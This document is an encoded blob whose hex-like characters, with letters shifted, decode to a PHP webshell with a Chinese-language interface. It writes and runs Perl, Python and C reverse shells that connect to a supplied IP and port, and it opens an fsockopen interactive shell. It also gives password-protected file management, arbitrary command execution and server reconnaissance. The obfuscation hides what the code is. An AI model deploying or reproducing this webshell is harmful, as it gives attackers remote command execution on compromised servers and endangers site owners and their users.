26q52735n54734r436q31354943527n63476p6o5n584n66615841675053416o51564n48566p73775854734r436q31354943527n63476p6o5n584n66634739796443413949435242556o6457577n46644s77304o62586o674n48427962335276494430675n32563063484n7664473969655735686257556s496r526n634349704s77304o62586o674n484268593274665957526o6369413949484r76593274685n47527958326p754o43527n63476p6o5n584n6663473979644377676157356p64463968644739754o43527n63476p6o5n584n66615841704o54734r436q31354943527n614756736243413949436376596q6p754p334r6s494331704n7n734r436r4r765932746p6443685454304r4p4p434242526p394n546o56554p43425454304r4p58314r55556o5642545377674n484279623352764o54734r436p4r55524539565643302o5958563062325n7364584r6s4o4445704s77304o553039445379302o5958563062325n7364584r6s4o4445704s77304o59323975626q566n6443685454304r4p4p43527759574r725832466o5n48497049473979494752705n53416959324675494735766443426n623235755n574r304s695168496n734r436q39775n5734675531524553553473494349384n6p4r50513073694s77304o6233426p6269425456455250565651734943492o4n6p4r50513073694s77304o6233426p6269425456455246556p49734943492o4n6p4r50513073694s77304o63336p7n644756744o43527n6147567362436o374451706n6247397n5n53425454304r4p4s77304o5n586870644341774s77304o273o0q0n09092466696p65203q2073747264697228246469722r272s7430306p732r706p27293o0q0n0909246o6579203q2066696p6577282466696p652p6261736536345s6465636s646528247368656p6p292p277727293o0q0n0909696628246o657929207o204063686q6s64282466696p652p30373737293o20636s6q6q616r6428272s7573722s62696r2s7065726p20272r2466696p652r2720272r2469702r2720272r24706s72742p24646972293o207q0q0n0909627265616o3o0q0n0909636173652022707922203n200q0n0909247368656p6p203q20274979457664584r794p324n70626939776558526s6232344r43694q674451707062584276636r516763336p7n4p47397n4p484r765932746p6443787764486o4r436r4q675053427n62324r725n5851756332396n613256304o484r765932746p64433542526p394n546o56554p43427n62324r725n585175553039445331395456464n46515530704451707n4p6q4r76626q356p5933516s4o484r3563793568636q6432577n46644p434270626r516s63336p7n4p6q46795n335n624q6p30704o536o4r436q397n4p6q52316344496s6379356q6157786p626q386s4o53776763336p7n4p6r4r305n476p754p6q5n7062475675627967704o51304o62334q755n4856774q69687n4p6q5n7062475675627967704p43427n65584q756333526o623356304p6q5n7062475675627967704o51304o62334q755n4856774q69687n4p6q5n7062475675627967704p43427n65584q756333526o5n584n794p6q5n7062475675627967704o51304o634852354p6r4r77595864754o436376596q6p754p334r6s4n796o4r43673q3q273o0q0n09092466696p65203q2073747264697228246469722r272s7430306p732r707927293o0q0n0909246o6579203q2066696p6577282466696p652p6261736536345s6465636s646528247368656p6p292p277727293o0q0n0909696628246o657929207o204063686q6s64282466696p652p30373737293o20636s6q6q616r6428272s7573722s62696r2s707974686s6r20272r2466696p652r2720272r2469702r2720272r24706s72742p24646972293o207q0q0n0909627265616o3o0q0n09096361736520226322203n200q0n09092466696p65203q2073747264697228246469722r272s7430306p7327293o0q0n0909246o6579203q2066696p6577282466696p652p6261736536345s6465636s64652824635s62696r292p27776227293o0q0n0909696628246o657929207o204063686q6s64282466696p652p30373737293o20636s6q6q616r64282466696p652r2720272r2469702r2720272r24706s72742p24646972293o207q0q0n0909627265616o3o0q0n090963617365202270687022203n2063617365202270687077696r22203n200q0n090969662866756r6374696s6r5s657869737473282766736s636o6s70656r272929207o0q0n09090924736s636o203q204066736s636o6s70656r20282469702p24706s7274293o0q0n09090969662824736s636o29207o0q0n09090909246o6579203q20747275653o0q0n0909090924636s6q203q202474797065203q3q202770687077696r27203s2074727565203n2066616p73653o0q0n090909092475736572203q206765745s63757272656r745s7573657228293o0q0n0909090924646972203q20737472646972286765746377642829293o0q0n0909090966707574732824736s636o2p7068705s756r616q6528292r225p6r2q2q2q2q2q2q2q2q2q2q2q2q6r6s206n6s6220636s6r74726s6p20696r2074686973207368656p6p2028747479292q2q2q2q2q2q2q2q2q2q2q2q2q5p6r5o24757365723n246469725q232022293o0q0n090909097768696p652824636q64203q2066726561642824736s636o2p313032342929207o0q0n09090909096966287375627374722824636q642p302p3329203q3q20276364202729207o2024646972203q207472696q287375627374722824636q642p332p2q3129293o20636864697228737472646972282464697229293o2024646972203q20737472646972286765746377642829293o207q0q0n0909090909656p7365696620287472696q28737472746s6p6s7765722824636q642929203q3q2027657869742729207o20627265616o3o207q0q0n0909090909656p7365207o2024726573203q20636s6q6q616r642824636q642p246469722p24636s6q293o2066707574732824736s636o2p247265735o27726573275q293o207q0q0n090909090966707574732824736s636o2p275o272r24757365722r273n272r246469722r275q232027293o0q0n090909097q0q0n0909097q0q0n0909094066636p6s7365202824736s636o293o0q0n09097q0q0n0909627265616o3o0q0n090963617365202270636r746p22203n200q0n09092466696p65203q2073747264697228246469722r272s7430306p7327293o0q0n0909246o6579203q2066696p6577282466696p652p6261736536345s6465636s64652824635s62696r292p27776227293o0q0n0909696628246o657929207o204063686q6s64282466696p652p30373737293o2069662866756r6374696s6r5s657869737473282770636r746p5s65786563272929207o204070636r746p5s65786563282466696p652p6172726179282469702p24706s727429293o207q207q0q0n0909627265616o3o0q0n097q0q0n0969662821246o657929207o20246q7367203q20273p68313rr4o8o4r697o6r79onrr5oq95r4o88qr58snsr586993p2s68313r273o207q20656p7365207o2040756r6p696r6o282466696p65293o20246q7367203q20273p68323r434p4s53453p2s68323r273o207q0q0n0972657475726r20246q73673o0q0n7q0q0n0q0n66756r6374696s6r20676574696r666s2829207o0q0n09676p6s62616p202470617373776s72643o0q0n0924696r666s73203q20617272617928245s504s53545o27676574707764275q2p2470617373776s72642p66756r6374696s6r5s6578697374732827706870696r666s2729293o0q0n096966282470617373776s726420213q202727202626206q64352824696r666s735o305q2920213q2024696r666s735o315q29207o0q0n096563686s20270q0n3p7469746p653rr8nso7r58oosr4oqosr794n8r99q9rr6o395r794n8r980943p2s7469746p653r0q0n3p6q65746120687474702q65717569763q22636s6r74656r742q747970652220636s6r74656r743q22746578742s68746q6p3o636861727365743q676232333132223r0q0n3p7374796p6520747970653q22746578742s637373223r0q0n2r666s726q2q636s6r74726s6p207o0q0n646973706p61793n20626p6s636o3o0q0n77696474683n20313030253o0q0n6865696768743n20333870783o0q0n70616464696r673n2038707820313270783o0q0n666s6r742q73697n653n20313470783o0q0n6p696r652q6865696768743n20312r3432383537313432393o0q0n636s6p6s723n20233535353o0q0n766572746963616p2q616p69676r3n206q6964646p653o0q0n6261636o67726s756r642q636s6p6s723n20236666663o0q0n626s726465723n2031707820736s6p696420236363633o0q0n626s726465722q7261646975733n203470783o0q0n2q7765626o69742q626s782q736861646s773n20696r73657420302031707820317078207267626128302p302p302p302r303735293o0q0n626s782q736861646s773n20696r73657420302031707820317078207267626128302p302p302p302r303735293o0q0n2q7765626o69742q7472616r736974696s6r3n20626s726465722q636s6p6s7220656173652q696r2q6s7574202r3135732p626s782q736861646s7720656173652q696r2q6s7574202r3135733o0q0n7472616r736974696s6r3n20626s726465722q636s6p6s7220656173652q696r2q6s7574202r3135732p626s782q736861646s7720656173652q696r2q6s7574202r3135730q0n7q0q0n0q0n2r62746r207o0q0n646973706p61793n20696r6p696r652q626p6s636o3o0q0n70616464696r673n2038707820313270783o0q0n6q617267696r2q626s74746s6q3n20303o0q0n666s6r742q73697n653n20313470783o0q0n666s6r742q7765696768743n203530303o0q0n6p696r652q6865696768743n20312r3432383537313432393o0q0n746578742q616p69676r3n2063656r7465723o0q0n77686974652q73706163653n206r6s777261703o0q0n766572746963616p2q616p69676r3n206q6964646p653o0q0n637572736s723n20706s696r7465723o0q0n626s726465723n2031707820736s6p6964207472616r73706172656r743o0q0n626s726465722q7261646975733n203470783o0q0n2q7765626o69742q757365722q73656p6563743n206r6s6r653o0q0n2q6q6s7n2q757365722q73656p6563743n206r6s6r653o0q0n2q6q732q757365722q73656p6563743n206r6s6r653o0q0n2q6s2q757365722q73656p6563743n206r6s6r653o0q0n757365722q73656p6563743n206r6s6r650q0n7q0q0n0q0n2r62746r2q7072696q617279207o0q0n636s6p6s723n20236666663o0q0n6261636o67726s756r642q636s6p6s723n20233432386263613o0q0n626s726465722q636s6p6s723n20233432386263610q0n7q0q0n3p2s7374796p653r0q0n3p63656r7465723r0q0n3p62723r3p62723r0q0n3p666s6r742073697n653q22332220666163653q224q6963726s736s6674205961486569223r0q0nr8os87r5nr89r585n8r78o97r38081r4on91r99481r38081r998osr9878pr4on91r38081333630r38081r68nn4r58qnor7n59rr3808144r79oorr38081r799orr5onn6r4on91r38081r59084r7n78qr69q80r8oqnsrsop813p2s666s6r743r0q0n3p62723r3p62723r0q0n3p666s726q206q6574686s643q22504s5354223r0q0n3p696r707574207374796p653q2257696474683n31323570743o646973706p61793n696r6p696r652q626p6s636o3o666s6r742q66616q696p793n4q6963726s736s6674205961486569666s6r742q73697n653n3930252220636p6173733q22666s726q2q636s6r74726s6p2220706p616365686s6p6465723q2240506173737772642220747970653q2270617373776s726422206r616q653q22676574707764223r0q0n273o0q0n696628697373657428245s504s53545o2770617373275q2929207o206563686s20273p696r70757420747970653q2268696464656r22206r616q653q2270617373222076616p75653q22272r245s504s53545o2770617373275q2r27223r273o207q0q0n696628697373657428245s504s53545o245s504s53545o2770617373275q5q2929207o206563686s20273p696r70757420747970653q2268696464656r22206r616q653q22272r245s504s53545o2770617373275q2r27222076616p75653q22272r245s504s53545o245s504s53545o2770617373275q5q2r27223r273o207q0q0n696628697373657428245s504s53545o27636865636o275q2929207o206563686s20273p696r70757420747970653q2268696464656r22206r616q653q22636865636o222076616p75653q22272r245s504s53545o27636865636o275q2r27223r273o207q0q0n6563686s20273p696r707574207374796p653q2257696474683n353570743o666s6r742q73697n653n3930253o666s6r742q66616q696p793n4q6963726s736s66742059614865692220636p6173733q2262746r2062746r2q7072696q6172792220747970653q227375626q6974222076616p75653q22234p6s67696r223r3p2s666s726q3r3p2s63656r7465723r3p2s626s64793r3p2s68746q6p3r273o0q0n657869743o0q0n097q0q0n0940736574636s6s6o696528226r6577222p393531293o0q0n0969662840245s434s4s4o49455o226r6577225q213q3935297o40736574636s6s6o696528226r6577222p3935293o7q0q0n0972657475726r2024696r666s735o325q3o0q0n7q0q0n66756r6374696s6r206p696r6o7328297o0q0n0924686s737472203q20245s5345525645525o22485454505s484s5354225q3o0q0n0924617272203q2066696p655s6765745s636s6r74656r74732822687474703n2s2s6q79746s6s6p2r6368696r617n2r636s6q2s6261696475736s72742r617370783s686s73743q222r24686s737472293o0q0n09246172723q2069636s6r7628275554462q38272p2747423233313227202p2024617272293o0q0n09707265675s6q617463685s616p6p28222s3p64697620636p6173733q5p2273697465696r666s5p223rr799orr5onn6r69q83r9878qrsop9n3p666s6r7420636s6p6s723q5p22626p75655p223r5o312q395q3p5p2s666s6r743r2s222p246172722p2473293o0q0n0924633q24735o305q5o305q3o0q0n0924633q7374725s7265706p61636528223p64697620636p6173733q5p2273697465696r666s5p223rr799orr5onn6r69q83r9878qrsop9n3p666s6r7420636s6p6s723q5p22626p75655p223r222p22222p2463293o0q0n0924633q7374725s7265706p61636528223p2s666s6r743r222p22222p2463293o0q0n0972657475726r2024633o0q0n7q0q0n0q0n0q0n66756r6374696s6r207375626576616p2829207o0q0n09696628697373657428245s504s53545o27676574707764275q2929207o206563686s20273p696r70757420747970653q2268696464656r22206r616q653q22676574707764222076616p75653q22272r245s504s53545o27676574707764275q2r27223r273o207q0q0n09696628697373657428245s504s53545o2770617373275q2929207o206563686s20273p696r70757420747970653q2268696464656r22206r616q653q2270617373222076616p75653q22272r245s504s53545o2770617373275q2r27223r273o207q0q0n09696628697373657428245s504s53545o245s504s53545o2770617373275q5q2929207o206563686s20273p696r70757420747970653q2268696464656r22206r616q653q22272r245s504s53545o2770617373275q2r27222076616p75653q22272r245s504s53545o245s504s53545o2770617373275q5q2r27223r273o207q0q0n09696628697373657428245s504s53545o27636865636o275q2929207o206563686s20273p696r70757420747970653q2268696464656r22206r616q653q22636865636o222076616p75653q22272r245s504s53545o27636865636o275q2r27223r273o207q0q0n0972657475726r20747275653o0q0n7q0q0n0q0n696628697373657428245s504s53545o27676s275q2929207o0q0n09696628245s504s53545o27676s275q203q3q2027646s776r2729207o0q0n090924646s776r66696p65203q202466696p6562203q2073747264697228245s504s53545o27676s646972275q2r272s272r245s504s53545o27676s766172275q293o0q0n09096966282166696p65642824646s776r66696p652929207o20246q7367203q20273p68313rr4o88or8oqoqr69687r4ooo6r4o88qr5nq98r59pn83p2s68313r273o207q0q0n097q0q0n7q0q0n0q0n3s3r0q0n3p21444s43545950452068746q6p205055424p494320222q2s2s5733432s2s445444205848544q4p20312r30205374726963742s2s454r222022687474703n2s2s7777772r77332r6s72672s54522s7868746q6p312s4454442s7868746q6p312q7374726963742r647464223r0q0n3p68746q6p3r0q0n3p686561643r0q0n3p6q65746120687474702q65717569763q22436s6r74656r742q547970652220636s6r74656r743q22746578742s68746q6p3o20636861727365743q67623233313222202s3r0q0n3p7374796p6520747970653q22746578742s637373223r0q0n2n207o6q617267696r3n3070783o70616464696r673n3070783o7q0q0n626s6479207o6261636o67726s756r643n234343434343433o636s6p6s723n233333333333333o666s6r742q73697n653n313370783o666s6r742q66616q696p793n4q6963726s736s66742059614865692p53696q53756r2p73616r732q73657269663o746578742q616p69676r3n6p6566743o776s72642q777261703n627265616o2q776s72643o20776s72642q627265616o3n627265616o2q616p6p3o7q0q0n617o636s6p6s723n233030303030303o746578742q6465636s726174696s6r3n6r6s6r653o766572746963616p2q616p69676r3n6q6964646p653o7q0q0n613n686s7665727o636s6p6s723n234646303030303o746578742q6465636s726174696s6r3n756r6465726p696r653o7q0q0n70207o70616464696r673n3170783o6p696r652q6865696768743n312r36656q3o7q0q0n6831207o636s6p6s723n234344333333333o666s6r742q73697n653n313370783o646973706p61793n696r6p696r653o766572746963616p2q616p69676r3n6q6964646p653o7q0q0n6832207o636s6p6s723n233030384234353o666s6r742q73697n653n313370783o646973706p61793n696r6p696r653o766572746963616p2q616p69676r3n6q6964646p653o7q0q0n666s726q207o646973706p61793n696r6p696r653o7q0q0n696r7075742p73656p656374207o20766572746963616p2q616p69676r3n6q6964646p653o207q0q0n696r7075745o747970653q746578745q2p207465787461726561207o70616464696r673n3170783o666s6r742q66616q696p793n4q6963726s736s66742059614865692p73616r732q73657269663o7q0q0n696r7075745o747970653q7375626q69745q2p20696r7075745o747970653q627574746s6r5q207o6865696768743n323170783o7q0q0n2r746167207o746578742q616p69676r3n63656r7465723o6q617267696r2q6p6566743n313070783o6261636o67726s756r643n746872656564666163653o6865696768743n323570783o70616464696r672q746s703n3570783o7q0q0n2r7461672061207o6261636o67726s756r643n234641464146413o636s6p6s723n233333333333333o77696474683n393070783o6865696768743n323070783o646973706p61793n696r6p696r652q626p6s636o3o666s6r742q73697n653n313570783o666s6r742q7765696768743n626s6p643o70616464696r672q746s703n3570783o7q0q0n2r74616720613n686s7665722p202r74616720612r63757272656r74207o6261636o67726s756r643n234545453638353o636s6p6s723n233030303030303o746578742q6465636s726174696s6r3n6r6s6r653o7q0q0n2r6q61696r207o77696474683n39363370783o6q617267696r3n30206175746s3o70616464696r673n313070783o7q0q0n2r6s75746p207o626s726465722q636s6p6s723n234646464646462023363636363636202336363636363620234646464646463o626s726465722q7374796p653n736s6p69643o626s726465722q77696474683n3170783o7q0q0n2r746s70746167207o70616464696r673n3570783o746578742q616p69676r3n6p6566743o666s6r742q7765696768743n626s6p643o636s6p6s723n234646464646463o6261636o67726s756r643n233239334635463o7q0q0n2r666s6s746167207o70616464696r673n3570783o746578742q616p69676r3n63656r7465723o666s6r742q7765696768743n626s6p643o636s6p6s723n233030303030303o6261636o67726s756r643n233939393939393o7q0q0n2r6q7367626s78207o70616464696r673n3570783o6261636o67726s756r643n234545453638353o746578742q616p69676r3n63656r7465723o766572746963616p2q616p69676r3n6q6964646p653o7q0q0n2r616374616p6p207o6261636o67726s756r643n234639463646343o746578742q616p69676r3n63656r7465723o666s6r742q73697n653n313570783o626s726465722q626s74746s6q3n31707820736s6p696420233939393939393o70616464696r673n3370783o766572746963616p2q616p69676r3n6q6964646p653o7q0q0n2r7461626p6573207o77696474683n313030253o7q0q0n2r7461626p6573207468207o6261636o67726s756r643n746872656564666163653o746578742q616p69676r3n6p6566743o626s726465722q636s6p6s723n234646464646462023363636363636202336363636363620234646464646463o626s726465722q7374796p653n736s6p69643o626s726465722q77696474683n3170783o70616464696r673n3270783o7q0q0n2r7461626p6573207464207o6261636o67726s756r643n234639463646343o6865696768743n313970783o70616464696r672q6p6566743n3270783o7q0q0n3p2s7374796p653r0q0n3p73637269707420747970653q22746578742s6n617661736372697074223r0q0n66756r6374696s6r202428494429207o2072657475726r20646s63756q656r742r676574456p656q656r7442794964284944293o207q0q0n66756r6374696s6r2073642873747229207o20737472203q207374722r7265706p616365282s2532322s672p272227293o20737472203q207374722r7265706p616365282s2532372s672p222722293o2072657475726r207374723o207q0q0n66756r6374696s6r2063642864697229207o20646972203q20736428646972293o2024282764697227292r76616p7565203q206469723o2024282766726q27292r7375626q697428293o207q0q0n66756r6374696s6r20736128666s726q29207o20666s72287661722069203q20303o69203p20666s726q2r656p656q656r74732r6p656r6774683o692o2o29207o207661722065203q20666s726q2r656p656q656r74735o695q3o20696628652r74797065203q3q2027636865636o626s782729207o20696628652r6r616q6520213q202763686o616p6p2729207o20652r636865636o6564203q20666s726q2r63686o616p6p2r636865636o65643o207q207q207q207q0q0n66756r6374696s6r20676s28612p6229207o2062203q2073642862293o20242827676s27292r76616p7565203q20613o20242827676s76617227292r76616p7565203q20623o2069662861203q3q2027656469746s722729207o20242827676s66726q27292r746172676574203q20225s626p616r6o223o207q20656p7365207o20242827676s66726q27292r746172676574203q2022223o207q20242827676s66726q27292r7375626q697428293o207q200q0n66756r6374696s6r206r6628612p6229207o207265203q2070726s6q70742822r696o0r5ooonr5908q222p62293o20696628726529207o20242827676s27292r76616p7565203q20613o20242827676s76617227292r76616p7565203q2072653o20242827676s66726q27292r7375626q697428293o207q207q200q0n66756r6374696s6r2064656p73286129207o2069662861203q3q2027622729207o20766172206q7367203q2022r68980r98089r69687r4ooo6223o2024282761637427292r76616p7565203q20613o207q20656p7365207o20766172206q7367203q2022r79onrr5oq95223o2024282761637427292r76616p7565203q202764656p74726565273o2024282776617227292r76616p7565203q20613o207q20696628636s6r6669726q2822r7n1nrr5nr9nr8n681r588n0r999n4222o6q73672o22r59097222929207o2024282766726q3127292r7375626q697428293o207q207q0q0n66756r6374696s6r2074787473286q2p702p6129207o2070203q2073642870293o207265203q2070726s6q7074286q2p70293o20696628726529207o2024282776617227292r76616p7565203q2072653o2024282761637427292r76616p7565203q20613o2024282766726q3127292r7375626q697428293o207q207q0q0n66756r6374696s6r206163747328702p612p6629207o2070203q2073642870293o2066203q2073642866293o207265203q2070726s6q707428662p70293o20696628726529207o2024282776617227292r76616p7565203q2072652o277p787p272o663o2024282761637427292r76616p7565203q20613o2024282766726q3127292r7375626q697428293o207q207q0q0n3p2s7363726970743r0q0n3p7469746p653r3p3s706870206563686s2056455253494s4r2r27202q20r38090272r646174652827592q6q2q6420483n693n7320r6989sr69p9s4r272p74696q652829292r27r38091273o3s3r3p2s7469746p653r0q0n3p2s686561643r0q0n3p626s64793r0q0n3p64697620636p6173733q226q61696r223r0q0n093p64697620636p6173733q226s75746p223r0q0n093p64697620636p6173733q22746s70746167223r3p3s706870206563686s2028245s5345525645525o275345525645525s41444452275q203s20245s5345525645525o275345525645525s41444452275q203n20676574686s737462796r616q6528245s5345525645525o275345525645525s4r414q45275q29292r27202q20272r7068705s756r616q6528292r27202q2077686s616q6928272r6765745s63757272656r745s7573657228292r2729202q20r3809075696428272r6765746q7975696428292r27292067696428272r6765746q7967696428292r2729r38091273o2069662869737365742824697373716p2929206563686s2027202q20r38090272r24697373716p2r27r38091273o3s3r3p2s6469763r0q0n3p3s706870200q0n246q656r75203q206172726179282766696p6527203q3r2027r69687r4ooo6r7nrn1r79086272p277363616r27203q3r2027r6909pr7o4n2r69687r4ooo6272p27616r7469766972757327203q3r2027r689nor68s8sr5908rr997n8272p276261636o7368656p6p27203q3r2027r58s8qr5opo9r7nonsr58sn3272p276578656327203q3r2027r689n7r8n18pr591oqr4oon4272p277068706576616p27203q3r2027r689n7r8n18p504850272p2773716p27203q3r2027r689n7r8n18p53514p272p27696r666s27203q3r2027r7o3oor7oo9sr4osn1r681ns27293o0q0n24676s203q2061727261795s6o65795s65786973747328245s504s53545o27676s275q2p246q656r7529203s20245s504s53545o27676s275q203n202766696p65273o0q0n246r6s77646972203q20697373657428245s504s53545o27646972275q29203s207374726469722863686s7028245s504s53545o27646972275q292r272s2729203n20544849534449523o0q0n6563686s20273p64697620636p6173733q22746167223r273o0q0n666s726561636828246q656r7520617320246o6579203q3r20246r616q6529207o206563686s20273p61272r2824676s203q3q20246o6579203s202720636p6173733q2263757272656r742227203n202727292r2720687265663q226n6176617363726970743n676s285p27272r246o65792r275p272p5p27272r6261736536345s656r636s646528246r6s77646972292r275p27293o223r272r246r616q652r273p2s613r20273o207q0q0n6563686s20273p2s6469763r273o0q0n0q0n6563686s20273p666s726q206r616q653q22676s66726q222069643q22676s66726q22206q6574686s643q22504s5354223r273o0q0n7375626576616p28293o0q0n6563686s20273p696r70757420747970653q2268696464656r22206r616q653q22676s222069643q22676s222076616p75653q22223r273o0q0n6563686s20273p696r70757420747970653q2268696464656r22206r616q653q22676s646972222069643q22676s646972222076616p75653q22272r246r6s776469722r27223r273o0q0n6563686s20273p696r70757420747970653q2268696464656r22206r616q653q22676s766172222069643q22676s766172222076616p75653q22223r273o0q0n6563686s20273p2s666s726q3r273o0q0n0q0n73776974636828245s504s53545o27676s275q29207o0q0n0q0n636173652022696r666s22203n200q0n6966284558495354535s504850494r464s29207o0q0n096s625s737461727428293o0q0n09706870696r666s28494r464s5s47454r4552414p293o0q0n09246s7574203q206s625s6765745s636s6r74656r747328293o0q0n096s625s656r645s636p65616r28293o0q0n0924746q70203q20617272617928293o0q0n09707265675s6q617463685s616p6p28272s5p3p746420636p6173735p3q5p22655p225p3r2r2n3s28436s6q6q616r647p436s6r66696775726174696s6r292o2r2n3s5p3p5p2s74645p3r5p3p746420636p6173735p3q5p22765p225p3r282r2n3s295p3p5p2s74645p3r2s69272p246s75742p24746q70293o0q0n0924636s6r666967203q2024746q705o325q5o305q3o0q0n0924706870696r69203q2024746q705o325q5o325q203s2024746q705o325q5o315q2r27202q2q2q20272r24746q705o325q5o325q203n2024746q705o325q5o315q3o0q0n7q0q0n24696r666s73203q206172726179280q0n0927r5nrn2r688o7r7nonsr6o58sr8n788r599n8r4osn1r681ns27203q3r20245s5345525645525o27485454505s555345525s4147454r54275q2p0q0n0927r8n2nor7n681r794n8r79n84r587oqr695o027203q3r206765745s6366675s766172282264697361626p655s66756r6374696s6r732229203s206765745s6366675s766172282264697361626p655s66756r6374696s6r732229203n202728r697n029272p0q0n0927r8n2nor7n681r794n8r79n84r7o1oo27203q3r206765745s6366675s766172282264697361626p655s636p61737365732229203s206765745s6366675s766172282264697361626p655s636p61737365732229203n202728r697n029272p0q0n09275048502r696r69r9858qr7oqnrr8o7nsr5or8427203q3r2024706870696r69203s2024706870696r69203n202728r697n029272p0q0n0927504850r8os90r8n18pr696o9r5op8s27203q3r207068705s736170695s6r616q6528292p0q0n0927504850r78988r69pnp27203q3r205048505s56455253494s4r2p0q0n0927504850r8os9or7n88o50494427203q3r206765746q7970696428292p0q0n0927r5nrn2r688o7r7nons495027203q3r20245s5345525645525o2752454q4s54455s41444452275q2p0q0n0927r5nrn2r688o7r7nonsr69687r5nq97r7op96r7n08127203q3r20245s5345525645525o27485454505s4143434550545s4p414r4755414745275q2p0q0n0927576562r69p8qr58nn1r7nonsr58sn327203q3r20245s5345525645525o275345525645525s504s5254275q2p0q0n0927576562r6n0o9r79onrr5oq9527203q3r20245s5345525645525o27444s43554q454r545s524s4s54275q2p0q0n0927576562r689n7r8n18pr8849nr69pnp27203q3r20245s5345525645525o275343524950545s46494p454r414q45275q2p0q0n0927576562r8n784r88p83434749r78988r69pnp27203q3r20245s5345525645525o27474154455741595s494r54455246414345275q2p0q0n0927576562r7nrn1r79086r59198456q61696p27203q3r20245s5345525645525o275345525645525s41444q494r275q203s20245s5345525645525o275345525645525s41444q494r275q203n202728r697n029272p0q0n0927r5oq93r5898qr7n381r79o98r680oor5n4n7r5o08s27203q3r2073697n65286469736o5s746s74616p5s737061636528272r2729292p0q0n0927r5oq93r5898qr7n381r79o98r58snsr794n8r7n9onr997o427203q3r2073697n65286469736o5s667265655s737061636528272r2729292p0q0n0927504s5354r69p80r5n4n7r5nq97r695o0r9878s27203q3r206765745s6366675s7661722822706s73745s6q61785s73697n6522292p0q0n0927r58581r8nro8r69p80r5n4n7r4o88nr4opn0r69687r4ooo627203q3r206765745s6366675s766172282275706p6s61645s6q61785s66696p6573697n6522292p0q0n0927r7n88or5on8sr69p80r5n4n7r4oqosr794n8r58685r5nq98r9878s27203q3r206765745s6366675s76617228226q656q6s72795s6p696q697422292p0q0n0927r7n88or5on8sr69p80r995osr8os90r8n18pr697o6r997o427203q3r206765745s6366675s76617228226q61785s657865637574696s6r5s74696q6522292r27r7n792272p0q0n0927r698nsr590n6r694nsr68p8146736s636o6s70656r27203q3r2066756r6374696s6r5s657869737473282766736s636o6s70656r2729203s2027r698ns27203n2027r590n6272p0q0n0927r698nsr590n6r694nsr68p81536s636o657427203q3r2066756r6374696s6r5s6578697374732827736s636o65745s636p6s73652729203s2027r698ns27203n2027r590n6272p0q0n0927r698nsr590n6r694nsr68p8150636r746p27203q3r2066756r6374696s6r5s657869737473282770636r746p5s657865632729203s2027r698ns27203n2027r590n6272p0q0n0927r698nsr590n6r694nsr68p814375726p27203q3r2066756r6374696s6r5s65786973747328276375726p5s76657273696s6r2729203s2027r698ns27203n2027r590n6272p0q0n0927r698nsr590n6r694nsr68p815n6p696227203q3r2066756r6374696s6r5s6578697374732827677n636p6s73652729203s2027r698ns27203n2027r590n6272p0q0n0927r698nsr590n6r694nsr68p8146545027203q3r2066756r6374696s6r5s65786973747328276674705s6p6s67696r2729203s2027r698ns27203n2027r590n6272p0q0n0927r698nsr590n6r694nsr68p81584q4p27203q3r2066756r6374696s6r5s6578697374732827786q6p5s7365745s6s626n6563742729203s2027r698ns27203n2027r590n6272p0q0n0927r698nsr590n6r694nsr68p8147445s4p69627261727927203q3r2066756r6374696s6r5s6578697374732827696q6167656p696r652729203s2027r698ns27203n2027r590n6272p0q0n0927r698nsr590n6r694nsr68p81434s4qr7oo84r5ooon27203q3r20636p6173735s6578697374732827434s4q2729203s2027r698ns27203n2027r590n6272p0q0n0927r698nsr590n6r694nsr68p814s444243r7oo84r5ooon27203q3r2066756r6374696s6r5s65786973747328276s6462635s636p6s73652729203s2027r698ns27203n2027r590n6272p0q0n0927r698nsr590n6r694nsr68p81494q4150r982nrr4ooo627203q3r2066756r6374696s6r5s6578697374732827696q61705s636p6s73652729203s2027r698ns27203n2027r590n6272p0q0n0927r698nsr590n6r8os90r8n18pr4on8rr5nr89r585n8r6n8n1r5op8s27203q3r206765745s6366675s7661722822736166656q6s64652229203s2027r698ns27203n2027r590n6272p0q0n0927r698nsr590n6r58581r8nro855524pr68993r5op80r69687r4ooo627203q3r206765745s6366675s7661722822616p6p6s775s75726p5s666s70656r2229203s2027r698ns27203n2027r590n6272p0q0n0927r698nsr590n6r58581r8nro8r58nn8r68081r58nn0r8oqoqr993orr68rn5r5on9327203q3r206765745s6366675s7661722822656r61626p655s646p2229203s2027r698ns27203n2027r590n6272p0q0n0927r698nsr590n6r698orr7n4onr99499r8nsnsr4osn1r681ns27203q3r206765745s6366675s7661722822646973706p61795s6572726s72732229203s2027r698ns27203n2027r590n6272p0q0n0927r698nsr590n6r887nnr58nn8r6o3n8r5868pr585n8r5o180r58s98r9878s27203q3r206765745s6366675s766172282272656769737465725s676p6s62616p732229203s2027r698ns27203n2027r590n6272p0q0n0927r698nsr590n6r4oqosr794n8r58s8qr6969pr7onosr5op95r794n8r5nq97r7npn6r4o8o227203q3r206765745s6366675s76617228226q616769635s71756s7465735s6770632229203s2027r698ns27203n2027r590n6272p0q0n0927504850r7op96r8ns91r58s82r695o027203q3r2024636s6r666967203s2024636s6r666967203n202728r697n029270q0n293o0q0n6563686s20273p64697620636p6173733q226q7367626s78223r272r246q73672r273p2s6469763r273o0q0n6563686s20273p7461626p6520636p6173733q227461626p6573223r3p74723r3p7468207374796p653q2277696474683n3236253o223rr5908qr7n7o03p2s74683r3p74683rr58s82r695o03p2s74683r3p2s74723r273o0q0n666s72656163682824696r666s7320617320246r616q65203q3r202476617229207o206563686s20273p74723r3p74643r272r246r616q652r273p2s74643r3p74643r272r247661722r273p2s74643r3p2s74723r273o207q0q0n6563686s20273p2s7461626p653r273o0q0n627265616o3o0q0n0q0n6361736520226578656322203n200q0n24636q64203q202477696r203s202764697227203n20276p73202q616p273o0q0n24726573203q206172726179282772657327203q3r2027r591oqr4oon4r59o9rr698or272p276q736727203q3r20246q7367293o0q0n24737472203q20697373657428245s504s53545o27737472275q29203s20245s504s53545o27737472275q203n202766756r273o0q0n696628697373657428245s504s53545o2765786563636q64275q2929207o0q0n0924636q64203q20245s504s53545o2765786563636q64275q3o0q0n0924637764203q2024737472203q3q202766756r27203s2054484953444952203n2027636s6q273o0q0n0924726573203q20636s6q6q616r642824636q642p24637764293o0q0n7q0q0n6563686s20273p64697620636p6173733q226q7367626s78223r272r247265735o276q7367275q2r273p2s6469763r273o0q0n6563686s20273p666s726q206q6574686s643q22504s5354223r273o0q0n7375626576616p28293o0q0n6563686s20273p696r70757420747970653q2268696464656r22206r616q653q22676s222069643q22676s222076616p75653q2265786563223r273o0q0n6563686s20273p64697620636p6173733q22616374616p6p223rr591oqr4oon4203p696r70757420747970653q227465787422206r616q653q2265786563636q64222069643q2265786563636q64222076616p75653q22272r68746q6p7370656369616p63686172732824636q64292r2722207374796p653q